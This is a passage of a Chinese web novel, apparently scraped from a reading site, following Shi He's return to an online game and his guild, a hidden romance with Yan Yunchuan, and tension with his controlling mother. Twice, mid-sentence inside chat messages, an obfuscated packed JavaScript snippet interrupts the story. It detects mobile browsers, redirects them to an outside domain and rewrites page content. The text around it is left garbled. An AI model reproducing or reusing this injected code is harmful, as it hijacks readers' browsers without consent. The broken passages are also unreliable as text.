濯清一会笑得很温柔,一会又疲惫地按着太阳穴。不知怎的,时和脑海里冒出一个很诡异的想法:他好像不是濯清的儿子,倒像濯清注册的一个游戏账号。 “妈——” 他刚开口,还没说结果,濯清像是防止他继续“叛逆”一样,转移话题说:“今天专程跑出去就为了拿这个键盘?” 桌上摆着还没拆封的键盘,是宴云川三年前参加游戏制作比赛一等奖的奖品,浮雕纸盒的侧面还刻着字母:YAN。 这个“YAN”像是一剂安慰剂。时和卸了力,机械地回道:“嗯。” 他头正垂着头,濯清冷不防来了句:“你嘴角又是怎么回事?”给他吓得什么想法也没了。 “……”时和心虚看看键盘,又看看濯清,最后看向地面,舔了舔嘴角说:“吃牛肉干咬的。” “怎么吃的,还能咬破皮?” “就……就太硬了。” 濯清沉默了半分多钟,才开口数落着:“那些都是合成肉,还不知道用什么塑料做的,肯定硬!嚼不动!外边垃圾食品不能吃!想吃肉干妈妈改天让阿姨给你做,知道吗?” 时和“嗯”了一下,捞着键盘仓皇而逃。 64.Chapter·回归 走上楼,时和冲进洗手间,一眼便看见镜子里微肿还破了皮的嘴唇。 想到自己顶着这幅“春情荡漾”的模样在林朔野和沈停面前坐了十来分钟,时和差点没在镜子前窒息身亡。他伸手碰了碰唇角,指尖碰上去的瞬间立马想到了宴云川,吓得赶紧冲了几捧凉水。 只是这几捧凉水威力不够猛。时和飘回房间的时候脑子是懵的。他跟失去导航的猫一样在房间里转来转去,一会收着桌面,一会又把叠好的被单铺开,最后绕了卧室三圈,勉强找回头绪。 他把键盘极其小心地摆在书柜最显眼的地方,退两步看了眼,又觉得不对劲,左调右摆,调到能一眼看见“YAN”字,满意地拍了拍手。 键盘在书柜的正中央,左边摆着幽篁手办,右边立着幻世录的流麻和徽章,像个标本展示柜。 做好这一切,他下意识想拍给宴云川看,拿出手机才记起来手机摔坏这件事。 窗外月朗星稀,飘窗上的书还摆着他离开前的模样,耳机半垂在窗沿。 今晚的一切,好像爱丽丝误闯的一场梦。 想到梦境,时和慌了神。他匆忙从抽屉里拿出平板。半个月没用的平板早已关机。 等他花几分钟的时间充上电,才发现平板太久不开,后台自动退出了微信。 可一个人真心想找另一个人的时候,办法是无限的。他只思考了不到半分钟就唤上了手机语音助手。不过手机里的语音智障经常出毛病,越是关键时刻越容易掉链子。 他唤了好几次,不是给他播报天气预报,就是给他搜索网页叫“宴云川”的相关信息。 试了几次,时和心态有点崩。 许是今晚的见面太短暂,让他不太踏实。他把这样的“异常”归纳为凶兆的预示,一时更慌了。 ** 濯清正敷上面膜,准备下楼拿个手机,开门就看见时和往书房钻。她喊道:“宝贝!” 时和跟被电似的缩了一下。 她走上前:“大晚上不洗澡,跑什么书房?” 时和摸了摸鼻尖:“妈,我打个电话。” 书房有一台座机,很久以前装的,号码都是七位数。濯清和时熵还没离婚那会,这台座机偶尔也能响两下。后来,两人离了婚,濯清又满世界的跑,座机响的时候家里都没人接,久而久之就荒废了,不过还能用。 看时和这模样濯清就明白了。 她问道:“给小川打?” 时和点头,又怕濯清怀疑,解释说:“键盘,还没道谢。” 濯清按着面膜摆手:“去吧。” 等时和关门的空档,她又交代:“打十分钟记得洗澡!”门在合上的时候,里面的人应了应。 走进书房,时和贴在门板上听了一会。听见濯清脚步下楼他才反锁上门,两下拨通宴云川号码。 房间“嘟”地响了几声,紧接着一阵电流。电话那头传来熟悉的声音:“时和?” 只是一个称呼,那颗悬着的心就落回了原地。 时和坐在椅子上,手指像患了多动症一样,有一搭没一搭地推着匹诺曹,问道:“怎么知道是我?”嘴角翘得比窗外的月亮还弯。 电话那头隐约听见风声,夹杂在小贩的叫卖中。宴云川在风里轻笑着说:“这是私人号码。” 半个月前的那杯葡萄酒好像现在还在醉人。 ** 没拨通电话前,时和感觉自己好像有很多话想说,现在听着声音了,他又不知道要说什么了。 电话那头风声停了下来,变得格外安静。 宴云川问:“这是家里座机?” 时和“嗯”一声,又问:“还没到么?” 宴云川说:“在附近,晚点进去。” 电话又安静下来。安静没半分钟,宴云川突然提到键盘:“键盘喜欢吗?” 时和脱口说:“喜欢。” 宴云川:“那我呢?” 时和:“喜——” “……” 时和这一刻才清晰认知到,自己多了一个男朋友。而且,男朋友跟朋友很不一样。比如,作为朋友的宴云川不会问这句话。 但他喜欢。 他脸上的笑漾得更大了。听见宴云川重复了一遍,他才端着矜持和正经说:“喜欢。” 话落,宴云川不正经地回:“嗯,我也喜欢。” 桌上的匹诺曹还是没保住,倒在了月光下。弄出的声响让电话里的人跟着笑了一声。 时和红着脖子扶起匹诺曹,就听见宴云川犹豫着问:“明天……上游戏么?” 他迟疑片刻,点点头:“上的。” ** 说是上游戏,可真要登录账号,时和满脑子都是自己意气退帮和改名这事。 他大概是染了什么失眠多梦的病,这一晚上,他的梦境十分丰富,跨度直接从三级片到悬疑片。一会是他跟宴云川在沙发上这样那样,一会又是单身和柚子拿着枪,把他拦在帮派驻地的外面让他滚蛋。但是因为吃了药,加上一晚情绪跨度太大,他在梦里一直醒不来,直到第二天八点。 时和下楼的时候,秘书宁莉已经坐在沙发上跟濯清聊工作了。 他走到楼梯间,听见宁莉对濯清说:“……周五飞弗洛伦萨的机票已经订好了。” 濯清问:“都订了?” “嗯,”宁莉点头,“都订好了,2点48的飞机。我十点来接您和——”说到一半,她余光瞥见时和,连忙掐断了后面的话。 时和被梦困扰了一晚上,精神不济,没听清最后这点断句。他跟濯清打了声招呼,又喊了声“宁莉姐”,这才看见桌上摆着的三台手机。 他惶惑地看向濯清。 濯清颇有点PTSD的意味,没好气说:“一台放那备着,出门带两台!省得你哪天又摔了磕了找不到人!号码过几天再给你办,你先连着热点。” 宁莉在一旁笑了笑,笑得很公事公办。 自知理亏,时和讪讪摸了摸耳垂,应了一声,抓上一台手机就往厨房躲。 厨房的蒸锅正冒着热气,包子的香味隔着餐桌都能闻见。 走进厨房,他又听见濯清说了句:“下午跟泽宸说一声,找人清扫房间……对了,再帮忙找个安静点的阿姨吧,要会做中餐。” 宁莉记下:“好的,濯总。” 两人又谈了会公事。等到宁莉离开,时和走到濯清身边坐下:“妈,您周五要走?” 濯清揉了揉他头发:“嗯,顾叔那堆了一堆事儿,还约了两个合作方周六过来谈合同。总不能让你顾叔一个人去,不礼貌。” “佛罗伦萨那边的项目还要忙很久么?” “预计明年年初可以告一段。后面一些细节可以让那几个经理收尾,前期大方向得妈妈敲。” 濯清倚在沙发上,时不时捻一下时和的发梢。日光下的濯清眼尾都透着柔意,耳廓后的白发一闪而过,又藏进了一缕黑发里。 这半年,时和一直沉浸在自己的精神世界。他猛地意识到,濯清也不是无所不能的。 她会老,也会累。 想到这,他转过身,捏着濯清肩膀:“妈……您别太累了,钱是赚不完的。” 濯清笑了笑:“哎呦,什么刺激到我们宝贝了?” 时和很严肃:“您有白头发了。” 对于自己有白发这件事,濯清倒是看得很开。她说道:“人到了年纪总会长几根白头发,这是自然代谢的规律。” “况且,妈妈累了,以后你才不会那么累。” 三两句的功夫,时和便觉得昨晚那样让濯清担心实在不应该。他都问路了,再借个电话跟濯清交代一下应该也不是很难。可他没想那么多。 愧疚感充斥在时和心里,以至于濯清让他登录手机ID,又让他开了定位,他也觉得理所应当。 直到吃了早饭,时和想上楼玩游戏,濯清来了句:“又去书房做什么?不是给你手机了么?” 时和没反应过来,回道:“打游戏。” 上一秒还在“慈母手中线”的人,下一秒就皱着眉起身质问:“不是答应过妈妈不玩了吗?”母慈子孝的画面瞬间变成“叛逆”少年对书房的争夺。 濯清从道德层面到健康层面,充分给时和分析了玩游戏的弊端:“你自己数数你玩游戏这两个月犯了几次病?不是心悸就是发烧!要是下次妈妈没那么及时赶回来怎么办?再说了!不从根源解决问题,难道每次都要等你不舒服才去止损吗?” 时和下意识回:“发烧那是因为在江边吹风!” 濯清立马问:“你去江边做什么?” 时和愣了。 总不能说他表白失败,去江边找情绪……先不说濯清听见表白这件事会不会气出高血压,光“找情绪”三个字,就能让濯清从白天数落到晚上。 “我……”他张张嘴。 这点迟疑在濯清眼里就是找借口失败。 “这事儿没得商量!”濯清说。 “妈!”时和跟上去,“三小时!” “三小时也不行!” “两小时!” “不行!不能玩就是不能玩!” 像很多次拌嘴一样,拌到最后,时和便开始沉默,然后濯清就会强硬的拍板,再拿出“要听话”这套说辞。 可今天时和在沉默之余问了句:“妈,您真的希望我好起来吗?”打断了濯清后面所有的步骤。 两人一前一后站在楼梯间,时和站得高一些,以至于濯清晃了下神,好像时和一个没留神就长大了。明明半年前还躲在她身后寻求庇护的人,现在已经走到了她的前面。 她低声寻着那点过去:“宝贝,我记得你以前不爱玩游戏,也不会对一样东西上瘾。” 问题问出来,楼道那点空气好像被压缩了。 时和很认真的在想他对游戏的态度,发现构不成“瘾性”,可一时半会又想不明白为什么要因为游戏跟濯清在这里争论。 他像是给自己答案一样说:“妈,医生不是建议我多跟人多接触么?游戏人很多。” “您不是希望我好起来吗……” ** 因为这句话,濯清还是妥协了。只是三小时的时间压缩成了一个半小时,各退一步。 时和坐在电脑前,莫名没了一开始想上游戏的那点兴奋。他脑海里不断浮现昨晚的梦,浮现单身的脸,浮现柚子,还有林朔野。 如果一开始是想用游戏治病,它的使命已经完成了才对。他可以去网吧、可以出门、可以跟一些熟悉的人交流。还面对了纪帆。 按照效益最大化,游戏已经失去了作用,这时候再玩游戏就是浪费时间,做无用功。 可他还是想上去看看…… 好像……不完全是因为宴云川…… 时和勾着身子闷在桌上,试图通过缺氧让自己找找答案。直到桌上新手机叮一声,提示应用备份完成。 手机是最新款,一些界面UI跟旧手机不一样,但功能大差不差。他配置好界面,第一时间登上微信。熟悉的地球在屏幕中央悬了一会,因为消息太多,进去的时候手机卡了几秒。 宴云川依旧置顶,显示一小时前发了一条消息:[他们知道你要回来了。] 至于这个“他们”是谁,时和从私聊列表就看出来了。 私聊列表以柚子为队列,像是约定好了一样齐刷刷发着:[恭喜见爹回归!撒花.jpg] 队列到了单身出现偏差。单身发的一把鼻涕一把泪的:[可算回来了!见儿啊!下回川老板惹你不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034487|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心你就跟哥说!哥帮你仇杀他!杀不过哥带月下一起杀!答应哥,有气没气别往自己身上撒,啊。] 再往下,是林朔野昨晚发的信息。 林朔野平日里发消息向来以数量为胜,一句“去打本吗”都可以拆出十种不一样的语气词发十一遍,可他却发了一段没分节的大长篇。从最开始的送礼到前段时间的察觉,像是写时间线一样把他的心理活动和起因经过交代了个明明白白。 时和目光落在重点一段话上:[我哥这两年一直把网吧当成了一个标本,用来纪念凌岳哥。别看他现在这模样潇潇洒洒的,可是好几次,我看见他站在网吧大门不动,像是不敢进去……我看着他一天一天把自己活成了“凌岳哥”,再这样下去,我怕“宴云川”这个人就不复存在了……] 心脏突然像发病一样,一下一下的钝痛。 他按着胸口,在聊天框打着:两年前——打出三个字,他又想到宴云川昨晚说的给他时间,于是又忙把这三个字删掉,继续往下。 在这样的大长篇结束后,林朔野才分段发了一句结尾:[我们还能做朋友吗?我从很早就把你当成朋友了……包发誓的] 时和手指落在屏幕上,无意往上滑了两页,莫名发现,他跟林朔野的聊天记录竟然两三页都划不完。短短两个月,比他跟大学舍友聊的还要多。 他其实没有“被利用”的感觉。不管是当初送礼也好,或者后面的隐瞒也好。人和人产生交集之初一定是有目的的,或想从你身上得到什么,或想让你失去什么。可他一直是得到,没有失去。 于是,他回了句:[一直都是。] [朋友。] 没两分钟,宴云川打来了语音。 宴云川:“换好手机了?” 时和:“嗯。” 宴云川笑了笑,毫不犹豫把弟弟出卖了:“听见什么声了么?”他问。 时和仔细听了听。宴云川应该是在收银台,时不时有客人叫嚷两句。但客人叫嚷声音比较小,被一个听不出是人是猴的喊声盖过去了。 “阿朔看见你消息了。”宴云川说,“他大概得兴奋好几天。这几天他会疯点儿。” 时和摇着头:“没事。” 许是在医院安静太久了,他突然觉得这样的“疯”挺好的,甚至有点怀念。 “吃过早饭了吗?”宴云川问。 “吃了,包子。” “你呢?” “也吃了。” 宴云川刚说完,林朔野在旁边嚷着拆台:“哥!你不是要去打粥么?我现在饿了!” 电话那头沉默了几秒。 时和听见一声:“饿你一两顿醒脑。” 他笑了一下,似乎没想到宴云川会骗人,又觉得这样的宴云川很新奇,也很有意思。 最终,这顿粥还是给那个嚷着饿的人出去打了,就因为时和“时间不多”,嚷着饿的林朔野听见,二话不说,为了亲哥的幸福承担了跑腿任务。 半个月不上游戏,系统自动判定时和为回归玩家,上线就弹出各种任务和充值礼包,美其名曰“回归福利”,金额从六元到抽奖不等,颇有一种“割了你这茬焉韭菜就准备跑路”的决然。 时和关掉一堆系统弹窗和提醒。关到一半,看见月下的好友申请。申请通过后,又弹出一条单身发起的入帮邀请。 他没点同意,也没点关闭。 直到私聊框未读消息多了一条,他点进去,月下发了一个游戏红包。接着,单身那条入帮申请被月下新的邀请盖了下去。 游戏红包没有退回功能,只能等24小时过期。 月下说:[祝福红包。] 又说:[半个月前想跟你解释,宴云川拦着。] [宴云川对外说你这段时间忙学业。] [我跟他都做过这种生气就删好友退帮A游的傻逼事,大家都是这么二过来的,不用有负罪感。] [于公,你综合能力很强,我想招揽你。于私,我一直拿宴云川当弟弟,我想替他招揽你。] [帮里的人跟我念叨你半个月了。] [他们也想招揽你。] [所以,回来吧。] 时和回归游戏的消息是被帮派里一人一个大喇叭传的人尽皆知的。五颜六色的喇叭一遍一遍刷着“喜迎见爹回归”,单身柚子豪迈的发了三百套时装抽奖,撑足了场面。 宴云川紧跟着发了五百二十套。 不等时和从“520”这个数字中反应过来,世界频道已经跟队刷起了“喜迎见爹回归”。 邮箱不断跳出帮派送的礼物,从衣服到稀有发色,系统不断跳着好友申请。帮派驻地依旧热闹,就像从没有离开过那样。 也不知道是窗外日头反光还是太久不玩电脑不适应,时和总想眨眼。 很奇怪,游戏明明是虚拟的,无论是眼前的驻地湖心还是被围在人群中央的幽篁,这些都是几串游戏代码。可他却觉得比大学更真实。 大学跟舍友初见的记忆在脑海里已经模糊了,但第一次进入游戏、第一次遇见林朔野、第一次进队伍打蚌母的记忆仿佛昨天刚发生。 以前他听过一个说法,说打游戏的人都是孤独的,因为现实孤独,所以在游戏里找了一个缺口。可一群孤独的人聚在一起,恰好共鸣。 一场PK、一次副本、哪怕朱雀大街一次接踵摩肩,只要你回一次头,就会收获朋友。 一个也好,一群也好,这样的羁绊不需要条件,因为爱好而已。 他发现他是有点沉迷游戏,不过不是沉迷游戏本身,而是沉迷这个由真实的人组成的世界。 然后,他听见宴云川说:“大家都很喜欢你,很早就喜欢了。我也是。” 没过两天,大家的喜欢就“变了质”。 65.Chapter·怀疑 事情起因要一小时后的副本说起。 濯清只给了一个半小时的游戏时间。时和道了谢,又一一还上礼,对着帮派里的ID加了好友,最后在帮派群发了六个六百的红包,大家的热情才从“大佬回归”转移到“爸爸手气最佳”的狂欢里。 周本今天刷新,卡着最后四十分钟,宴云川拉了一个副本速通队伍。只是沈停昨晚夜班,今天回去补觉了。因为俞秋这两天家里有事,林朔野自告奋勇顶了她的班,也来不了。 但宴云川的队伍向来不缺人。 锁了单身和柚子,最后一个坑位全靠缘分。 果然不出五秒,队伍末尾就跳出了一个星引的图标。星引是刚进帮的萌新,上来便客客气气又带着兴奋地把队伍所有人挨个谢了一遍。 单身像第一天打蚌母那样喋喋不休。似乎是副帮做太久,有点收人的瘾。他看见新人没有师父,开口便是:“咳咳!本人收徒!PK打本样样精通,休闲日常不在话下,上得了厅堂下得了厨房!保准每一个徒弟都能拥有无微不至的体验!” 新人信了:“真的吗!” 眼看新人要误入歧途,柚子毫不客气拆了单身的台:“千万别信!咱副帮出了名的脑子有问题,经常说一些胡话,还脸盲!” 提到脸盲,地图中央的幽篁动了两步。 时和想到了宴云川,还有刚才宴云川说的那句:“我也是。” 林朔野不在,指挥的工作就落到了柚子身上。地图左右两边竖起三个点,柚子在分配等会分身位面的安排。他望着其中一个坐标出神,不断想着宴云川说的“也是”是什么意思? 难道宴云川很早就喜欢上他了么? 怎么可能…… 说起来宴云川也脸盲,可宴云川能认出他…… 时和思考的时候手上喜欢动点什么,有笔就转笔,没笔就乱动。他无意识点着鼠标。屏幕里,幽篁已经从点位三走到了边界墙边,正试图“越狱”。 还没把空气墙撞出个窟窿,他便收到了宴云川的微信消息:[在想我什么时候喜欢上你的?] 消息印证了他的猜想。 可宴云川怎么可能很早喜欢上自己呢?什么时候?为什么他没有发现? 他看着消息,屏息敲出“嗯”,指尖都在期待。 以为宴云川会说“网吧出策划”或者“江边”这样特殊性的时段,结果,向来有问必答的宴云川这次只回了两个字:[秘密。] ** 因为这两个字,副本打到最后一个BOSS时和都没说一句话,技能也丢的很凶残。 虽然他平时打本也不说话,可中场的时候,他还是会跟宴云川两人在旁边看看风景。但今天,一到中场,他就挪着鼠标躲宴云川躲的远远的,恨不得从空气墙这头躲去另一头。 时和和宴云川在一起这件事,单身和柚子还不知道。包括时和突然跟宴云川吵架这事,他们只是推测跟凌岳有关系,但不知道具体发生了什么。 所以,看见时和躲宴云川的时候,单身比下一秒就要灭队还要紧张。 趁着柚子跟新人说机制的功夫,单身私聊问宴云川:[你又把见儿惹了?!!] 宴云川回了个:[算是。] 单身更慌了。 单身:[这我就站不了你了啊!我刚答应见儿要仇杀你,出去你就担着点,别还手!] 单身:[你说你没事惹你徒弟做什么?] 单身:[觉得人刚回来,日子过的太舒坦了?] 宴云川:[在哄。] 单身隔着屏幕看不见宴云川的表情,只通过宴云川回传的两个字品出了一点诡异的愉悦。 他觉得此人有病,病得不轻。 ** 而宴云川所谓的哄,就是像片羽毛一样,时不时往时和身上搔一下。 因为要听柚子指挥,两人关了微信语音。可这不妨碍宴云川时不时给时和发一个游戏红包。一次也不发多,就三两块。 幻世录尊重每一位花了钱的玩家,和每一个可以花钱的玩法。 比如游戏红包,但凡你发了,系统就会弹出一个弹框提醒接收人,弹框上面还会附上红包赠言。 光是两个BOSS的功夫,时和已经收到十三个弹窗了,每一句都是:对不起。 自两人把话说开后,宴云川重复了不下五十遍这三个字,好像要把这半个月没说完的道歉成倍的说一遍,才能缓解内心的愧意似的。 发到第十五个,时和问宴云川:[为什么?] 等到柚子标好点,宴云川才回:[因为我带你绕了一圈弯路。] 队伍麦里,柚子还在说着:“等会进分身大佬跟川老板进去就行,我们在外边强撸本体,这样刷的时间快一点。单身你注意BOSS朝向,轻唱尽量别吃到AOE技能,其他时间可劲输出!” 这个叫轻唱的就是队里的星引。他贼有活力地应下:“好叻柚子——”姐还没喊出来,他就看见高冷没边的时和给宴云川砸了一个糖果童趣技能。那声“姐”硬生生被满地糖果砸成了“我擦”。 他深受论坛帖子荼毒,觉得时和和宴云川之间肯定发生了什么矛盾,甚至坚信这两人的矛盾还没化解。进队一来想膜拜大神,二来也想吃瓜。 所以,在他看来,时和刚才躲宴云川的状态才是正常的,现在可太不正常了! 自知失态,星引在麦里疯狂道歉。 时和看着地图一角的星引疯狂按着作揖动作,耳垂都红了。 技能不是他想放,是他按错的。 屏幕中央还在弹着红包提醒,他看着宴云川发出来的那句话打字:[别发了。] [也别道歉。] 他正打着:不是弯路 宴云川回了句:[好。] 然后屏幕又弹出一个红包提醒。 时和想关掉弹窗,倏地看到弹窗后面的对不起变了话式:[我不知道多早,但不是半个月前。] 这场副本的通关时长刷了服务器新高,幽篁的BUFF技能从来没有断过。 而且,因为队伍里有两个幽篁,全程队友血量没掉过90%,又在限定时效内完成,副本结束时,全员还达成了一个隐藏的副本成就:双星渡劫生。 世界频道有点懵。 [星子眠:等等?这本还有这种成就?] [砍我必爆装:好像版本公告是出现过,问题这谁刷得出?记不起来也正常。] [砍我必爆装:好吧正常个鬼!!草&*#……] 有些刚上游戏的还没摸清楚状况,看着系统公告直接咆哮:[特码这两变态怎么又凑一块了!] … 因为这个成就,本来一个普普通通正常难度的周本,硬是被一群收藏癖整成了地狱级别。 世界连着一下午都在找高功高战幽篁,准备跟这个副本死磕到底,给一些天赋值卡在副本及格线不上不下的幽篁看得欲哭无泪。 隔天,这阵刷成就的风还没吹过去,PK场又成了重灾区。 幻世录一年一度的PK大赛在上周就放了进程安排,初赛在月底,有单人场和双人场,报名段位要求天师及以上。 按照惯例,宴云川报的单人场。可那是时和回归前。时和回归后,他通过时和念比赛规则的语气判断出时和有兴趣,就取消了报名,改成了双人。 PK大赛的报名信息全服公开,这边宴云川刚报上名,那边报名的人都收到了消息。一时间,十几个报了双人场的昵称悄无声息地挪到了单人场里。 好在幻世录为了防止一边爆满一边空城的情况限制了单人场和双人场的报名人数,这才没跑光。 可没跑光不代表不想跑。那些因为没赶上时候逃跑的人在PK场被这两变态混合双打。 以前大家就知道这对师徒组在一起很默契,本以为两人分开了半个月,再好的默契都得磨掉一半。没曾想,这两人非但默契没掉,还有种磕了药的疯劲。尤其是时和,恨不得化成御风手上的折扇直接呼人脸上。 短短两天,之前在世界频道刷“欢迎回归”的人,这会开始质问:[川老板!你网吧不忙了吗?] 大意想让两人卷铺盖一起滚蛋。 ** 世界频道在哭天喊地的时候,时和跟宴云川正在岁月静好地商量明天来家里做客的事。 “沈停大概三点到榕城,我先去接他,再一起过去。”宴云川说。 [他回苍城了?] “嗯,回去拿点东西给伯母。” [是廖阿姨么?] “对。” [林朔野不来吗?] “他有长辈恐惧,说怕看见伯母走不动路。” 时和笑了笑。 客厅坐着他跟濯清。他戴着耳机,盘腿窝在沙发上专心打字。也不知道是心理作用还是怎么,他总感觉确认关系后,宴云川的声音更好听了。 如果说以前的声音还带点疏离和克制,现在简直温柔的不像话。以至于他每回完一句话,就点开上一句语音重复的听。 听到:“喜欢吃什么水果?” 濯清挪着电脑坐到他旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048526|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 濯清发现这两天自家儿子心情格外不错,尤其是拿着手机的时候,那模样比跟她撒娇服软还要生动。她压着心里那点不舒服凑上去想看时和手机,目光还没移到屏幕上,时和就把手机扣膝盖上了。 “妈?”时和紧张地看向濯清。 濯清眯了眯眼:“在跟谁聊天呢?” “没谁。” 其实跟宴云川聊天是一件很正常的事,时和却因为心虚,说的模凌两可。 濯清本就有疑心,这会直接上手了。她从时和指缝里拿出手机,如往常一样解锁,却发现时和上了密码。看见密码的那一瞬,她听不出情绪地淡淡问:什么时候上的?” 时和叩着膝盖:“医院。” “手机里有什么不能给妈妈看的么?” “……” 时和摇头。 濯清把手机一摊:“没有就解锁给妈妈看。” 两人僵持不下,直到时和察觉濯清真要生气了,半年前一些不好的场景突然浮现上来,比如濯清对他哭。想到濯清哭的模样,他猛地解了锁。手机解开就是他跟宴云川的聊天框。 濯清看见备注写着正儿八经的宴云川,疑惑的瞥了眼时和,又往上划着聊天记录。 每划一下,时和指尖就陷进沙发一分。直到濯清又看了他一眼,退出宴云川聊天框,他才反应过来他跟宴云川的聊天大部分都在游戏里,或者语音电话。能用文字聊的跟本没什么暧昧的。 可他依旧惶惶恐恐、如屡薄冰。 濯清退出聊天,又在好友列表里翻了会,看见没什么可疑地人和可疑地对话才把手机还给时和,像是无奈地说:“跟小川聊天你躲躲藏藏做什么?把密码清了知道吗?” 时和应付着点点头。他接过手机,还没拿稳就听见濯清来了句:“妈妈还以为你谈恋爱了,吓我一跳。”手机直接掉进了沙发里。 “瞧你这点力。”濯清逗着时和。 明明是玩笑话,时和却一点也笑不起来。他盯着掉进沙发缝里的手机,只觉得空调温度太低了,沙发坐垫太凉,整个人都冷得发抖。 在濯清想帮他捡手机的时候,他垂眸问道:“妈,你不喜欢我谈恋爱吗?” 濯清捡手机的手停了一下,又不假思索地说:“你还小,大学都没毕业呢谈什么恋爱。” “大学毕业就可以了么?”时和问。 濯清脱口而出:“不行!” 见时和不解地望着她,她眼神躲了一下才解释:“大学毕业也还小,爱情观都没成熟!” 时和顺着问:“多大算大?” 濯清认真想了想:“至少也得二十七八吧……谈几年恋爱结婚,到时候妈妈也要退休了,可以安心帮你们带孩子。你们小两口呢,该工作工作,该休息休息,也能好好享受生活。” 濯清说着竟然真的开始计划起十年后的事来,跟刚才一口一个不行、不可以的模样判若两人。 说到:“我打算再扩展几个国外项目,等她上小学就带她出国。”时和终于忍不住打断,“妈,我、我不喜欢小孩。”他像是用了很大力气似的补充,“也不喜欢女生。” 话落,预想中的质问和歇斯底里没有出现。濯清以为时和的“不喜欢”是“不想谈恋爱”,她肩膀反而一松,语气都轻盈了不少:“傻孩子,你现在不喜欢,是因为你还没遇到那个非她不可的人,等遇上那天你就会闹着让我拿户口本了。” “不会的。”时和低着头。 不会拿户口本,因为不需要。 濯清听着他笃定的语气笑了一下:“妈妈得给你做个备忘录,以后说给未来儿媳妇听。” 沙发响起噼里啪啦敲备注的声音。濯清许是彻底放心了,又挪着电脑往旁边坐过去,时不时拿起手机语音对着工作。 那句“我喜欢男生、喜欢宴云川”像是卡在喉咙里的鱼刺,说不出口,又刺的生疼, 许是太难受了,时和突然迫切的想见到宴云川,想抱宴云川,想接吻,想带着宴云川去一个只有他们两个人的地方,想不管不顾。 他拿起手机,冲动的打出:我们出国—— 又想到出国其实无济于事。且不说他还没有经济来源,养不好宴云川。光星络在榕城这一点,他也不能带着宴云川离开。 聊天框还停留在那句“喜欢吃什么水果”上。时和听了好几遍语音,执着又认真地回:[不要买。] 似乎觉得这三个字还不够,他又加上一句:[什么都不要买。] 隔天,宴云川才知道这个不要买是什么意思。 66.Chapter·出国 入秋的榕城暑气依旧,蝉鸣此起彼伏的从窗外传来。墙上挂钟已经三点过半。 时和今天穿了套比外出还要正式的衣服,被濯清打趣:“有点儿妈妈谈合同的模样了。” 他红着耳垂帮忙摆弄点心和水果,弄好了又环顾四周,开始整理一些已经非常完美的边边角角。直到四点,门铃按响。 时和正擦着一个屏风摆件,听见声音就想冲到门口。想到昨天濯清的怀疑,他又压下了想第一时间看见宴云川的冲动,等濯清开了门,才不急不缓的走到濯清身后。 门外沈停站在首位,两只手提满了礼品,恨不得把半个人淹了。 濯清走着同样的流程,一边嗔怪:“你这孩子,来就来还带这么多东西。”一边把人领进来。 等人进了门,濯清才看到地上的盛况——宴云川除了水果没买,其他的补品、茶、酒统统买了个遍,两只手都提溜不下,剩下的在脚边围了一圈。 “你这——”由于场面太过盛大,濯清流程化的寒暄失了效力。她一会看看地,一会看看宴云川左右手,一会又看看宴云川,最后笑着叹气,“小川,你让阿姨说点什么好?” 宴云川解释:“上回空手来,得补上。” “我们家没那么多规矩,这也太客气了。” “缺了礼数,家里长辈会怪罪。” “这孩子。” 濯清一边念叨一边弯腰搬着东西。刚拿起两个礼盒袋,时和便接了过来,说:“妈!您去忙别的吧,这里我和宴——学长搬。”他本想说宴云川的名字,又觉得这样还不够避嫌。 濯清不疑有他:“这么多,还是妈妈来。” “妈!您这两天不是腰不舒服么?” “那都几天前的事了。” “也要注意。” 从宴云川的视线看过去,时和右手正蜷在衣摆旁边,快把衣摆蜷变形了,肉眼可见的着急。 他在心里笑了一下,对濯清说:“伯母,还是我跟时和拿吧。”这才终止了这场寒暄。 ** 地上的礼品一趟一趟往屋里搬,两人全程没有说话,好像时和这么据理力争真的只为了给濯清减轻负担一样,除了肩膀时不时碰一会,手肘偶尔摩擦两下,宴云川偶尔闷出几道轻笑。 搬到最后一轮,时和锁骨已经泛起了粉。他正准备伸手拿纸袋抽绳,手刚碰到纸袋,尾指就被不轻不重地勾了一下。 他指尖瑟缩着,以为是宴云川无意之举。下一秒,唇角便传来一阵温热,力道一晃而过,又落在耳垂,没等品味过来就离开了。 玄关的摄像头就在两人斜后方左右转动,像抓包一样正盯着他们。门开着,濯清招呼沈停喝茶的声音仿佛就在耳畔。声音混杂着心跳一下一下。 时和嘴唇微张,僵硬地维持着半弯腰的动作,生怕自己动一下,就会出卖宴云川。 直到宴云川拿走他眼前的纸袋,起身时说:“它刚才转过去了,看不见。”浑身骨头瞬间松懈。 也太——刺激了! ** 刺激过了头,时和坐下后都有点云里雾里。他隐约听见濯清问宴云川:“网吧接下来什么打算?” 宴云川说:“时和给了些建议。准备做一周累计消费抽奖,清掉一部分之前PK赛累计的网费,再切换累计充值赠礼,维持一个暑假。” “一个暑假会不会太长了?”濯清敲着膝盖,“网吧依靠网费盈利模式太单一,而且现在网费不贵,他们充值一两次大额活动就够一个暑假了。” “所以不做大额,累充期间再插入当天累消。” 当天累消清网费,再跟周围两个餐厅和奶茶店谈合作,提供三餐饮料,网吧让利做代金券。大单团购价买入,折扣价卖出。这样大家的消费可以不局限于上网和吧台零食,也不会觉得被宰客。 时和是这么说的:“消费基于服务。” 说到最后,时和光见两人嘴唇开开合合,灵魂已经游到门口那个浅尝辄止的吻上了。 